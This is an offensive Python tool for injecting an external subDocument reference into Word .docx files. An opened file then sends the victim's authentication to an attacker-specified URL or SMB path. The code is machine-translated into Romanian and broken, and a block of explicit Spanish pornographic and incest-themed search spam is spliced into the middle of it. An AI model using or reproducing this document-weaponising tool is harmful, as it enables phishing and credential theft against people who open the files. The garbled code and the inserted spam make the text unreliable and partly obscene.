#! / usr / bin / env python # – * – codare: utf-8 – * – # # subdoc_inject.py: Instrument pentru a genera documente cu o sarcina utila subdoc # ============== =================================================== ============= # # # @ hxmonsegur // RSL # Standard libs import sys import os import shutil import tempfile from zipfile import ZipFile, ZIP_STORED, ZipInfo import argparse # pip (2/3) install xmltodict # sau sudo apt install python-xmltodict try: import xmltodict exceptand (ImportError): print (“[!] biblioteca xmltodict nu este instalata sau nu a fost gasita. Va rugam sa instalati cerintele”) ridicati SystemExit # Placeholder for settings.xml.rels SETRELS = “” “<? xml version =” 1.0 “encoding =” UTF-8 “standalone =” yes “?> <Relationships xmlns =” ​​http://schemas.openxmlformats.org/package/2006/relationships “> <Relationship Id =”rId {} “Type =” http://schemas.openxmlformats.org/officeDocument/2006/relationships/subDocument “Target =” {} “TargetMode =” External “/> </Relationships>” “” “Class UpdateableZipFile (ZipFile) : # Solutie frumoasa de: http://stackoverflow.com/a/35435548 “” “Adaugati sterge (prin remove_file) si actualizati (prin metode de scriere si scriere) Pentru a activa caracteristicile de actualizare utilizati UpdateableZipFile cu„ cu declaratie ”, la __exit__ (daca s-au aplicat actualizari) un nou fisier zip il va suprascrie pe cel care iese cu actualizarile “” “clasa DeleteMarker (obiect): pass def __init __ (self, file, mode =” r “, compression = ZIP_STORED, allowZip64 = False): # Init base super (UpdateableZipFile, self) .__ init __ (fisier, mod = mod, compresie = compresie,allowZip64 = allowZip64) # track file to override in zip self._replace = {} # Daca instructiunea cu a fost numita self._allow_updates = False def writestr (self, zinfo_or_arcname, bytes, compress_type = None): if isinstance (zinfo_or_arcname, ZipInfo) : name = zinfo_or_arcname.filename else: name = zinfo_or_arcname # Daca fisierul iese si trebuie sa fie suprascris, # marcati intrarea si creati un fisier temporar pentru aceasta # permitem acest lucru numai daca instructiunea cu este utilizata daca auto. _allow_updates and name in self.namelist (): temp_file = self._replace [name] = self._replace.get (name, tempfile.TemporaryFile ()) temp_file.write (bytes) # In caz contrar, actionati normal altfel: super (UpdateableZipFile, self) .writestr (zinfo_or_arcname, bytes, compress_type = compress_type) def write (auto, nume de fisier, arcname = Niciunul, compress_type = None):arcname = arcname sau nume de fisier # Daca fisierul iese si trebuie sa fie suprascris, # marcati intrarea si creati un fisier temporar pentru aceasta # permitem acest lucru numai daca instructiunea cu este utilizata daca self._allow_updates si arcname in sine. namelist (): temp_file = self._replace [arcname] = self._replace.get (arcname, tempfile.TemporaryFile ()) cu open (nume de fisier, “rb”) ca sursa: shutil.copyfileobj (sursa, temp_file) # Altfel doar actioneaza normal altfel: super (UpdateableZipFile, self) .write (nume de fisier, arcname = arcname, compress_type = compress_type) def __enter __ (self): # Allow updates self._allow_updates = True return self def __exit __ (self, exc_type, exc_val, exc_tb) : # baza de apel pentru a inchide fisierul zip, incercati organic: super (UpdateableZipFile, self) .__ iesiti __ (exc_type, exc_val, exc_tb) daca len (self._replace)> 0: self._rebuild_zip () in cele din urma:# In cazul in care codul zip de reconstruire nu a reusit, # asigurati-va ca eliberati in continuare toate fisierele temporare self._close_all_temp_files () self._allow_updates = False def _close_all_temp_files (self): pentru temp_file in self._replace.itervalues ​​(): if hasattr (temp_file, ‘ inchidere ‘): temp_file.close () def remove_file (self, path): self._replace [path] = self.DeleteMarker () def _rebuild_zip (self): tempdir = tempfile.mkdtemp () try: temp_zip_path = os.path. join (tempdir, ‘new.zip’) cu ZipFile (self.filename, ‘r’) ca zip_read: # Creati un zip nou cu proprietati atribuite cu ZipFile (temp_zip_path, ‘w’, compresie = self.compression, allowZip64 = self. _allowZip64) ca zip_write: pentru articolul din zip_read.infolist (): # Verificati daca fisierul trebuie inlocuit / sau sters substitut = self._replace.get (item.filename, None) # Daca este marcat pentru stergere,nu copiati fisierul in fisierul zip nou daca este instanta (inlocuire, self.DeleteMarker): del self._replace [item.

sexo romantico incestos lesbicos
viejas zoofilia travestis españolas
follar abuelas maduras a cuatro patas
pornografia gratis sexso
familia española follando se la chupa mientras duerme
madres incestuosas porno gratis abuelos
videos heroticos videos porno xxx incesto
supertetas tragando semen xxx
videos x incesto jovencitos follando con maduras
videos incesto online xxporn
mujeres fornicando padre se folla a su hija
pormo lesbianas maduras españolas
porno casero real español porno guey
mamasxxx shakira follando
incesto retro sexo guarro
se follan a su mujer maduras enculadas
taboo.com viejas feas
pornoo sexo gratis incesto
corriendose dentro putas en vic
maduras sensuales descargar peliculas porno español

filename] continue # Daca este marcat pentru inlocuire, copiati temp_file, in loc de fisierul vechi, inlocuirea elif nu este Niciuna: del self._replace . filename) zip_write.writestr (item, data) # Inlocuiti arhiva cu cea actualizata shutil.move (temp_zip_path, self.filename) in cele din urma: shutil.rmtree (tempdir) def analyzoc (infile): incercati: cu ZipFile (infile) ca arc: daca arc.namelist () .__ contine __ (‘word / _rels / settings.xml.rels’): print (“[+] word / _rels / settings.xml.rels descoperit.”) cu arc.open (‘word /_rels/settings.xml.rels ‘) ca fr: doc = xmltodict.parse (fr.read ()) if doc.has_key (‘Relatii’): if doc [‘Relationships’] [‘Relationship’]. has_key (‘@ Id’): if doc [‘Relationships’] [‘Relationship’ ] [‘@ Id’] == ‘rId1337’: print (“[!] Se confirma injectia de pescar.”) TURL = doc [‘Relationships’] [‘Relationship’] [‘@ Target’] print (“[!] Adresa URL tinta: {} “. Format (tURL)) else: print (” [!] Relatia descoperita este {} “. Format (doc [‘Relationships’] [‘Relationship’] [‘@ Id’])) daca doc [‘Relationships’] [‘Relationship’]. Has_key (‘@ Target’): tURL = doc [‘Relationships’] [‘Relationship’] [‘@ Target’] print (“[!] URL tinta: {}” .format (tURL)) returneaza True cu exceptia (KeyError): trece cu exceptia (IOError): print (“[-] {}: Nu exista un astfel de fisier”.format (infile)) raise SystemExit return False def infectDoc (goodocx, badocx, url, identificator, reinfect = False): tempdir = tempfile.mkdtemp () temp_zip_path = os.path.join (tempdir, ‘temp.docx’) shutil. copiati (goodocx, badocx) daca reinfectati: cu ZipFile (badocx) ca arc: cu arc.open (‘word / settings.xml’) ca fr: docx = fr.read () oldid = docx.split (‘r: id = ‘) [1] .split (‘ “‘) [1] print (” [*] Inlocuirea vechiului ID ({}) cu rId {} “. Format (oldid, identificator)) settingsxml = docx.replace (oldid, “rId {}”. format (identificator)) altceva: cu ZipFile (badocx) ca arc: cu arc.open (‘word / settings.xml’) ca fr: docx = fr.read () closepos = docx.index ( ‘/>’) prepos = docx [: closepos] editpos = ‘/> <w: p> <w: subDoc r: id = “rId {}” /> </ w: p>’. format (identificator) postpos = docx [closepos:] settingsxml = “{} {} {}”. format (prepos, editpos, postpos) cu UpdateableZipFile (badocx, “a”) ca inj: inj.writestr (“word / settings.xml”, settingsxml) inj.writestr ( “word / _rels / settings.xml.rels”, SETRELS.format (identificator, url)) print (“[*] {} a fost injectat si rezultatul este: {}”. format (goodocx, badocx)) def main ( ): try: # Configure argument parser parser = argparse.ArgumentParser (prog = ‘subdoc_inject.py’, description = ‘Injectare cereri externe subdoc (SMB) [SE]’, epilog = ‘Numai in scopuri educationale. @ hxmonsegur // RSL ‘, formatter_class = argparse.ArgumentDefaultsHelpFormatter) parser.add_argument (‘ – i ‘,’ –infile ‘, help =’ docx File to inject ‘) parser.add_argument (‘ – o ‘,’ –outfile ‘, help =’ Numele fisierului fisierului dupa injectie ‘) analizor.add_argument (‘- u’, ‘–url’, help = ‘Domeniul a indicat serverul HTTP_AUTH. ex. https://domain.com/docs/target-UUID’) parser.add_argument (‘- d’, ‘- identificator ‘, help =’ Identificator document ‘, implicit = 100) # Parse argumente incearca: args = parser.parse_args () cu exceptia: # parser.print_help () print (“[-] Va rugam sa consultati -h | –help pentru ajutor “) creste SystemExit daca len (sys.argv) <2: parser.print_help () ridica SystemExit daca args.infile si args.outfile: daca nu args.url: print (” [!] Va rugam sa specificati calea de ascultare UNC prin – u | –url “) raise SystemExit print (” [+] Infecting {} “. format (args.infile)) infectDoc (args.infile, args.outfile, args.url, args.identifier, False) cu exceptia (KeyboardInterrupt ): print (“[!!] Programul a fost intrerupt (ctrl + c). Iesirea …”) ridicati SystemExit daca __name__ == “__main__ “: main ()